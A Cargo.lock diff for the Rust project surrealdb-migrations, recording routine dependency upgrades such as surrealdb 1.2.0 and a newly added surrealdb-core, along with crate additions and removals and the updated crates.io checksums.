-3003,7 +3067,7 @@ version = "1.0.108" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b" dependencies = [ - "indexmap 2.0.0", + "indexmap 2.1.0", "itoa", "ryu", "serde", @@ -3023,15 +3087,15 @@ dependencies = [ [[package]] name = "serde_with" -version = "3.3.0" +version = "3.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ca3b16a3d82c4088f343b7480a93550b3eabe1a358569c2dfe38bbcead07237" +checksum = "64cd236ccc1b7a29e7e2739f27c0b2dd199804abc4290e32f59f3b68d6405c23" dependencies = [ - "base64 0.21.4", + "base64", "chrono", "hex", "indexmap 1.9.3", - "indexmap 2.0.0", + "indexmap 2.1.0", "serde", "serde_json", "serde_with_macros", @@ -3040,14 +3104,14 @@ dependencies = [ [[package]] name = "serde_with_macros" -version = "3.3.0" +version = "3.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2e6be15c453eb305019bfa438b1593c731f36a289a7853f7707ee29e870b3b3c" +checksum = "93634eb5f75a2323b16de4748022ac4297f9e76b6dced2be287a099f41b5e788" dependencies = [ "darling", "proc-macro2", "quote", - "syn 2.0.38", + "syn 2.0.43", ] [[package]] @@ -3072,25 +3136,14 @@ checksum = "91d129178576168c589c9ec973feedf7d3126c01ac2bf08795109aa35b69fb8f" dependencies = [ "proc-macro2", "quote", - "syn 2.0.38", -] - -[[package]] -name = "sha-1" -version = "0.10.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f5058ada175748e33390e40e872bd0fe59a19f265d0158daa551c5a88a76009c" -dependencies = [ - "cfg-if", - "cpufeatures", - "digest", + "syn 2.0.43", ] [[package]] name = "sha1" -version = "0.10.5" +version = "0.10.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f04293dc80c3993519f2d7f6f511707ee7094fe0c6d3406feb330cdb3540eba3" +checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" dependencies = [ "cfg-if", "cpufeatures", @@ -3099,9 +3152,9 @@ dependencies = [ [[package]] name = "sha2" -version = "0.10.7" +version = "0.10.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "479fb9d862239e610720565ca91403019f2f00410f1864c5aa7479b950a76ed8" +checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8" dependencies = [ "cfg-if", "cpufeatures", @@ -3119,9 +3172,9 @@ dependencies = [ [[package]] name = "signature" -version = "2.1.0" +version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5e1788eed21689f9cf370582dfc467ef36ed9c707f073528ddafa8d83e3b8500" +checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de" dependencies = [ "digest", "rand_core", @@ -3162,9 +3215,9 @@ dependencies = [ [[package]] name = "smallvec" -version = "1.11.0" +version = "1.11.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "62bb4feee49fdd9f707ef802e22365a35de4b7b299de4763d44bfea899442ff9" +checksum = "4dccd0940a2dcdf68d092b8cbab7dc0ad8fa938bf95787e1b916b0e3d0e8e970" [[package]] name = "smol_str" @@ -3176,29 +3229,53 @@ dependencies = [ ] [[package]] -name = "snap" -version = "1.1.0" +name = "snafu" +version = "0.7.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5e9f0ab6ef7eb7353d9119c170a436d1bf248eea575ac42d19d12f4e34130831" +checksum = "e4de37ad025c587a29e8f3f5605c00f70b98715ef90b9061a815b9e59e9042d6" +dependencies = [ + "doc-comment", + "snafu-derive", +] [[package]] -name = "socket2" -version = "0.4.9" +name = "snafu-derive" +version = "0.7.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "64a4a911eed85daf18834cfaa86a79b7d266ff93ff5ba14005426219480ed662" +checksum = "990079665f075b699031e9c08fd3ab99be5029b96f3b78dc0709e8f77e4efebf" dependencies = [ - "libc", - "winapi", + "heck", + "proc-macro2", + "quote", + "syn 1.0.109", ] [[package]] +name = "snap" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b6b67fb9a61334225b5b790716f609cd58395f895b3fe8b328786812a40bc3b" + +[[package]] name = "socket2" version = "0.5.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9" dependencies = [ "libc", - "windows-sys", + "windows-sys 0.48.0", +] + +[[package]] +name = "spade" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61addf9117b11d1f5b4bf6fe94242ba25f59d2d4b2080544b771bd647024fd00" +dependencies = [ + "hashbrown 0.14.3", + "num-traits", + "robust", + "smallvec", ] [[package]] @@ -3218,9 +3295,9 @@ dependencies = [ [[package]] name = "spki" -version = "0.7.2" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d1e996ef02c474957d681f1b05213dfb0abab947b446a62d37770b23500184a" +checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" dependencies = [ "base64ct", "der", @@ -3293,9 +3370,49 @@ checksum = "81cdd64d312baedb58e21336b31bc043b77e01cc99033ce76ef539f78e965ebc" [[package]] name = "surrealdb" -version = "1.0.1" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b4c189541c759c763d4f5859a853afe85773baa0c95891f262425ff422394b0" +dependencies = [ + "async-channel", + "bincode", + "chrono", + "dmp", + "flume", + "futures", + "futures-concurrency", + "geo 0.27.0", + "indexmap 2.1.0", + "once_cell", + "path-clean", + "pharos", + "reqwest", + "revision", + "ring 0.17.7", + "rust_decimal", + "rustls", + "semver", + "serde", + "serde_json", + "surrealdb-core", + "thiserror", + "tokio", + "tokio-tungstenite", + "tokio-util", + "tracing", + "trice", + "url", + "uuid", + "wasm-bindgen-futures", + "wasmtimer", + "ws_stream_wasm", +] + +[[package]] +name = "surrealdb-core" +version = "1.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "58fbfc165921b5ecd488df676d6d64f3559771acad92f1643823791e3dccf66b" +checksum = "fcf33ccbc2348089fab502d38198f86762fc951ec90413fbd63f9195e76e6e08" dependencies = [ "addr", "any_ascii", @@ -3303,7 +3420,7 @@ dependencies = [ "async-channel", "async-executor", "async-recursion", - "base64 0.21.4", + "base64", "bcrypt", "bincode", "bytes", @@ -3311,38 +3428,37 @@ dependencies = [ "chrono", "deunicode", "dmp", - "flume", "fst", "futures", - "futures-concurrency", "fuzzy-matcher", - "geo 0.25.1", - "indexmap 1.9.3", + "geo 0.27.0", + "geo-types", + "hex", "ipnet", "lexicmp", - "lru", "md-5", "nanoid", "nom", + "num_cpus", + "object_store", "once_cell", - "path-clean", "pbkdf2", "pharos", "pin-project-lite", + "quick_cache", "radix_trie", "rand", "regex", - "reqwest", "revision", + "ring 0.17.7", "roaring", "rust-stemmers", "rust_decimal", - "rustls 0.20.9", "scrypt", "semver", "serde", "serde_json", - "sha-1", + "sha1", "sha2", "snap", "storekey", @@ -3350,8 +3466,6 @@ dependencies = [ "surrealdb-jsonwebtoken", "thiserror", "tokio", - "tokio-tungstenite", - "tokio-util", "tracing", "trice", "ulid", @@ -3378,12 +3492,12 @@ version = "8.3.0-surreal.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "02d4f759c65df8a8cf2d83c99db7fdd3ae5b8fff05fa7fe69a8612f29dd5f99b" dependencies = [ - "base64 0.21.4", + "base64", "getrandom", "hmac", "pem", "rand", - "ring", + "ring 0.16.20", "rsa", "serde", "serde_json", @@ -3393,13 +3507,13 @@ dependencies = [ [[package]] name = "surrealdb-migrations" -version = "1.0.1" +version = "1.1.0" dependencies = [ "assert_cmd", "assert_fs", "chrono", "chrono-human-duration", - "clap 4.4.11", + "clap 4.4.12", "cli-table", "color-eyre", "convert_case", @@ -3435,9 +3549,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.38" +version = "2.0.43" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e96b79aaa137db8f61e26363a0c9b47d8b4ec75da28b7d1d614c2303e232408b" +checksum = "ee659fb5f3d355364e1f3e5bc10fb82068efbf824a1e9d1c9504244a6469ad53" dependencies = [ "proc-macro2", "quote", @@ -3445,6 +3559,39 @@ dependencies = [ ] [[package]] +name = "syn_derive" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1329189c02ff984e9736652b1631330da25eaa6bc639089ed4915d25446cbe7b" +dependencies = [ + "proc-macro-error", + "proc-macro2", + "quote", + "syn 2.0.43", +] + +[[package]] +name = "system-configuration" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba3a3adc5c275d719af8cb4272ea1c4a6d668a777f37e115f6d11ddbc1c8e0e7" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "system-configuration-sys", +] + +[[package]] +name = "system-configuration-sys" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75fb188eb626b924683e3b95e3a48e63551fcfb51949de2f06a9d91dbee93c9" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] name = "tap" version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3452,15 +3599,15 @@ checksum = "55937e1799185b12863d447f42597ed69d9928686b8d88a1df17376a097d8369" [[package]] name = "tempfile" -version = "3.8.0" +version = "3.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cb94d2f3cc536af71caac6b6fcebf65860b347e7ce0cc9ebe8f70d3e521054ef" +checksum = "01ce4141aa927a6d1bd34a041795abd0db1cccba5d5f24b009f694bdf3a1f3fa" dependencies = [ "cfg-if", - "fastrand 2.0.0", - "redox_syscall 0.3.5", + "fastrand", + "redox_syscall", "rustix", - "windows-sys", + "windows-sys 0.52.0", ] [[package]] @@ -3476,9 +3623,9 @@ dependencies = [ [[package]] name = "termcolor" -version = "1.2.0" +version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "be55cf8942feac5c765c2c993422806843c9a9a45d4d5c407ad6dd2ea95eb9b6" +checksum = "ff1bc3d3f05aff0403e8ac0d92ced918ec05b666a43f83297ccef5bea8a3d449" dependencies = [ "winapi-util", ] @@ -3497,22 +3644,22 @@ checksum = "222a222a5bfe1bba4a77b45ec488a741b3cb8872e5e499451fd7d0129c9c7c3d" [[package]] name = "thiserror" -version = "1.0.48" +version = "1.0.52" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d6d7a740b8a666a7e828dd00da9c0dc290dff53154ea77ac109281de90589b7" +checksum = "83a48fd946b02c0a526b2e9481c8e2a17755e47039164a86c4070446e3a4614d" dependencies = [ "thiserror-impl", ] [[package]] name = "thiserror-impl" -version = "1.0.48" +version = "1.0.52" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "49922ecae66cc8a249b77e68d1d0623c1b2c514f0060c27cdc68bd62a1219d35" +checksum = "e7fbe9b594d6568a6a1443250a7e67d80b74e1e96f6d1715e1e21cc1888291d3" dependencies = [ "proc-macro2", "quote", - "syn 2.0.38", + "syn 2.0.43", ] [[package]] @@ -3527,12 +3674,13 @@ dependencies = [ [[package]] name = "time" -version = "0.3.28" +version = "0.3.31" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "17f6bb557fd245c28e6411aa56b6403c689ad95061f50e4be16c274e70a17e48" +checksum = "f657ba42c3f86e7680e53c8cd3af8abbe56b5491790b46e22e19c0d57463583e" dependencies = [ "deranged", "itoa", + "powerfmt", "serde", "time-core", "time-macros", @@ -3540,15 +3688,15 @@ dependencies = [ [[package]] name = "time-core" -version = "0.1.1" +version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7300fbefb4dadc1af235a9cef3737cea692a9d97e1b9cbcd4ebdae6f8868e6fb" +checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3" [[package]] name = "time-macros" -version = "0.2.14" +version = "0.2.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1a942f44339478ef67935ab2bbaec2fb0322496cf3cbe84b261e06ac3814c572" +checksum = "26197e33420244aeb70c3e8c78376ca46571bc4e701e4791c2cd9f57dcb3a43f" dependencies = [ "time-core", ] @@ -3579,9 +3727,9 @@ checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" [[package]] name = "tokio" -version = "1.35.0" +version = "1.35.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "841d45b238a16291a4e1584e61820b8ae57d696cc5015c459c229ccc6990cc1c" +checksum = "c89b4efa943be685f629b149f53829423f8f5531ea21249408e8e2f8671ec104" dependencies = [ "backtrace", "bytes", @@ -3589,9 +3737,9 @@ dependencies = [ "mio", "num_cpus", "pin-project-lite", - "socket2 0.5.5", + "socket2", "tokio-macros", - "windows-sys", + "windows-sys 0.48.0", ] [[package]] @@ -3602,18 +3750,7 @@ checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.38", -] - -[[package]] -name = "tokio-rustls" -version = "0.23.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c43ee83903113e03984cb9e5cebe6c04a5116269e900e3ddba8f068a62adda59" -dependencies = [ - "rustls 0.20.9", - "tokio", - "webpki", + "syn 2.0.43", ] [[package]] @@ -3622,7 +3759,7 @@ version = "0.24.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c28327cf380ac148141087fbfb9de9d7bd4e84ab5d2c28fbc911d753de8a7081" dependencies = [ - "rustls 0.21.7", + "rustls", "tokio", ] @@ -3652,25 +3789,24 @@ dependencies = [ [[package]] name = "tokio-tungstenite" -version = "0.18.0" +version = "0.20.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "54319c93411147bced34cb5609a80e0a8e44c5999c93903a81cd866630ec0bfd" +checksum = "212d5dcb2a1ce06d81107c3d0ffa3121fe974b73f068c8282cb1c32328113b6c" dependencies = [ "futures-util", "log", - "rustls 0.20.9", + "rustls", "tokio", - "tokio-rustls 0.23.4", + "tokio-rustls", "tungstenite", - "webpki", - "webpki-roots 0.22.6", + "webpki-roots", ] [[package]] name = "tokio-util" -version = "0.7.8" +version = "0.7.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "806fe8c2c87eccc8b3267cbae29ed3ab2d0bd37fca70ab622e46aaa9375ddb7d" +checksum = "5419f34732d9eb6ee4c3578b7989078579b7f039cbbb9ca2c4da015749371e15" dependencies = [ "bytes", "futures-core", @@ -3682,12 +3818,20 @@ dependencies = [ ] [[package]] -name = "toml" -version = "0.5.11" +name = "toml_datetime" +version = "0.6.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234" +checksum = "7cda73e2f1397b1262d6dfdcef8aafae14d1de7748d66822d3bfeeb6d03e5e4b" + +[[package]] +name = "toml_edit" +version = "0.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "396e4d48bbb2b7554c944bde63101b5ae446cff6ec4a24227428f15eb72ef338" dependencies = [ - "serde", + "indexmap 2.1.0", + "toml_datetime", + "winnow", ] [[package]] @@ -3698,11 +3842,10 @@ checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52" [[package]] name = "tracing" -version = "0.1.37" +version = "0.1.40" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8ce8c33a8d48bd45d624a6e523445fd21ec13d3653cd51f681abf67418f54eb8" +checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" dependencies = [ - "cfg-if", "pin-project-lite", "tracing-attributes", "tracing-core", @@ -3710,20 +3853,20 @@ dependencies = [ [[package]] name = "tracing-attributes" -version = "0.1.26" +version = "0.1.27" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5f4f31f56159e98206da9efd823404b79b6ef3143b4a7ab76e67b1751b25a4ab" +checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" dependencies = [ "proc-macro2", "quote", - "syn 2.0.38", + "syn 2.0.43", ] [[package]] name = "tracing-core" -version = "0.1.31" +version = "0.1.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0955b8137a1df6f1a2e9a37d8a6656291ff0297c1a97c24e0d8425fe2312f79a" +checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" dependencies = [ "once_cell", "valuable", @@ -3741,9 +3884,9 @@ dependencies = [ [[package]] name = "tracing-subscriber" -version = "0.3.17" +version = "0.3.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "30a651bc37f915e81f087d86e62a18eec5f79550c7faff886f7090b4ea757c77" +checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b" dependencies = [ "sharded-slab", "thread_local", @@ -3752,9 +3895,9 @@ dependencies = [ [[package]] name = "trice" -version = "0.3.1" +version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "61aa4cd1c1dca57255b92cb9e53d5b3ac5a22da6d8a63045337eb3da1a065d43" +checksum = "d3aaab10ae9fac0b10f392752bf56f0fd20845f39037fec931e8537b105b515a" dependencies = [ "js-sys", "wasm-bindgen", @@ -3763,36 +3906,35 @@ dependencies = [ [[package]] name = "try-lock" -version = "0.2.4" +version = "0.2.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3528ecfd12c466c6f163363caf2d02a71161dd5e1cc6ae7b34207ea2d42d81ed" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" [[package]] name = "tungstenite" -version = "0.18.0" +version = "0.20.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "30ee6ab729cd4cf0fd55218530c4522ed30b7b6081752839b68fcec8d0960788" +checksum = "9e3dac10fd62eaf6617d3a904ae222845979aec67c615d1c842b4002c7666fb9" dependencies = [ - "base64 0.13.1", "byteorder", "bytes", + "data-encoding", "http", "httparse", "log", "rand", - "rustls 0.20.9", + "rustls", "sha1", "thiserror", "url", "utf-8", - "webpki", ] [[package]] name = "typenum" -version = "1.16.0" +version = "1.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "497961ef93d974e23eb6f433eb5fe1b7930b659f06d12dec6fc44a8f554c0bba" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" [[package]] name = "ulid" @@ -3815,9 +3957,9 @@ dependencies = [ [[package]] name = "unicode-bidi" -version = "0.3.13" +version = "0.3.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "92888ba5573ff080736b3648696b70cafad7d250551175acbaa4e0385b3e1460" +checksum = "6f2528f27a9eb2b21e69c95319b30bd0efd85d09c379741b0f78ea1d86be2416" [[package]] name = "unicode-ident" @@ -3858,9 +4000,9 @@ checksum = "1dd624098567895118886609431a7c3b8f516e41d30e0643f03d94592a147e36" [[package]] name = "unicode-width" -version = "0.1.10" +version = "0.1.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c0edd1e5b14653f783770bce4a4dabb4a5108a5370a5f5d8cfe8710c361f6c8b" +checksum = "e51733f11c9c4f72aa0c160008246859e340b00807569a0da0e7a1079b27ba85" [[package]] name = "unicode-xid" @@ -3875,10 +4017,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a156c684c91ea7d62626509bce3cb4e1d9ed5c4d978f7b4352658f96a4c26b4a" [[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] name = "url" -version = "2.4.1" +version = "2.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "143b538f18257fac9cad154828a57c6bf5157e1aa604d4816b5995bf6de87ae5" +checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633" dependencies = [ "form_urlencoded", "idna", @@ -3905,9 +4053,9 @@ checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" [[package]] name = "uuid" -version = "1.4.1" +version = "1.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "79daa5ed5740825c40b389c5e50312b9c86df53fccd33f281df655642b43869d" +checksum = "5e395fcf16a7a3d8127ec99782007af141946b4795001f876d54fb0d55978560" dependencies = [ "atomic", "getrandom", @@ -3937,12 +4085,6 @@ dependencies = [ ] [[package]] -name = "waker-fn" -version = "1.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d5b2c62b4012a3e1eca5a7e077d13b3bf498c4073e33ccd58626607748ceeca" - -[[package]] name = "walkdir" version = "2.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3969,9 +4111,9 @@ checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" [[package]] name = "wasm-bindgen" -version = "0.2.87" +version = "0.2.89" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7706a72ab36d8cb1f80ffbf0e071533974a60d0a308d01a5d0375bf60499a342" +checksum = "0ed0d4f68a3015cc185aff4db9506a015f4b96f95303897bfa23f846db54064e" dependencies = [ "cfg-if", "wasm-bindgen-macro", @@ -3979,24 +4121,24 @@ dependencies = [ [[package]] name = "wasm-bindgen-backend" -version = "0.2.87" +version = "0.2.89" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ef2b6d3c510e9625e5fe6f509ab07d66a760f0885d858736483c32ed7809abd" +checksum = "1b56f625e64f3a1084ded111c4d5f477df9f8c92df113852fa5a374dbda78826" dependencies = [ "bumpalo", "log", "once_cell", "proc-macro2", "quote", - "syn 2.0.38", + "syn 2.0.43", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-futures" -version = "0.4.37" +version = "0.4.39" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c02dbc21516f9f1f04f187958890d7e6026df8d16540b7ad9492bc34a67cea03" +checksum = "ac36a15a220124ac510204aec1c3e5db8a22ab06fd6706d881dc6149f8ed9a12" dependencies = [ "cfg-if", "js-sys", @@ -4006,9 +4148,9 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro" -version = "0.2.87" +version = "0.2.89" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dee495e55982a3bd48105a7b947fd2a9b4a8ae3010041b9e0faab3f9cd028f1d" +checksum = "0162dbf37223cd2afce98f3d0785506dcb8d266223983e4b5b525859e6e182b2" dependencies = [ "quote", "wasm-bindgen-macro-support", @@ -4016,22 +4158,22 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro-support" -version = "0.2.87" +version = "0.2.89" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "54681b18a46765f095758388f2d0cf16eb8d4169b639ab575a8f5693af210c7b" +checksum = "f0eb82fcb7930ae6219a7ecfd55b217f5f0893484b7a13022ebb2b2bf20b5283" dependencies = [ "proc-macro2", "quote", - "syn 2.0.38", + "syn 2.0.43", "wasm-bindgen-backend", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-shared" -version = "0.2.87" +version = "0.2.89" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ca6ad05a4870b2bf5fe995117d3728437bd27d7cd5f06f13c17443ef369775a1" +checksum = "7ab9b36309365056cd639da3134bf87fa8f3d86008abf99e612384a6eecd459f" [[package]] name = "wasm-streams" @@ -4061,38 +4203,19 @@ dependencies = [ [[package]] name = "web-sys" -version = "0.3.64" +version = "0.3.66" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9b85cbef8c220a6abc02aefd892dfc0fc23afb1c6a426316ec33253a3877249b" +checksum = "50c24a44ec86bb68fbecd1b3efed7e85ea5621b39b35ef2766b66cd984f8010f" dependencies = [ "js-sys", "wasm-bindgen", ] [[package]] -name = "webpki" -version = "0.22.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f0e74f82d49d545ad128049b7e88f6576df2da6b02e9ce565c6f533be576957e" -dependencies = [ - "ring", - "untrusted", -] - -[[package]] -name = "webpki-roots" -version = "0.22.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b6c71e40d7d2c34a5106301fb632274ca37242cd0c9d3e64dbece371a40a2d87" -dependencies = [ - "webpki", -] - -[[package]] name = "webpki-roots" -version = "0.25.2" +version = "0.25.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "14247bb57be4f377dfb94c72830b8ce8fc6beac03cf4bf7b9732eadd414123fc" +checksum = "1778a42e8b3b90bff8d0f5032bf22250792889a5cdc752aa0020c84abe3aaf10" [[package]] name = "winapi" @@ -4112,9 +4235,9 @@ checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" [[package]] name = "winapi-util" -version = "0.1.5" +version = "0.1.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" +checksum = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596" dependencies = [ "winapi", ] @@ -4126,12 +4249,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" [[package]] -name = "windows" -version = "0.48.0" +name = "windows-core" +version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e686886bc078bc1b0b600cac0147aadb815089b6e4da64016cbd754b6342700f" +checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" dependencies = [ - "windows-targets", + "windows-targets 0.52.0", ] [[package]] @@ -4140,7 +4263,16 @@ version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" dependencies = [ - "windows-targets", + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.0", ] [[package]] @@ -4149,13 +4281,28 @@ version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" dependencies = [ - "windows_aarch64_gnullvm", - "windows_aarch64_msvc", - "windows_i686_gnu", - "windows_i686_msvc", - "windows_x86_64_gnu", - "windows_x86_64_gnullvm", - "windows_x86_64_msvc", + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", ] [[package]] @@ -4165,49 +4312,100 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" [[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" + +[[package]] name = "windows_aarch64_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" [[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" + +[[package]] name = "windows_i686_gnu" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" [[package]] +name = "windows_i686_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" + +[[package]] name = "windows_i686_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" [[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" + +[[package]] name = "windows_x86_64_gnu" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" 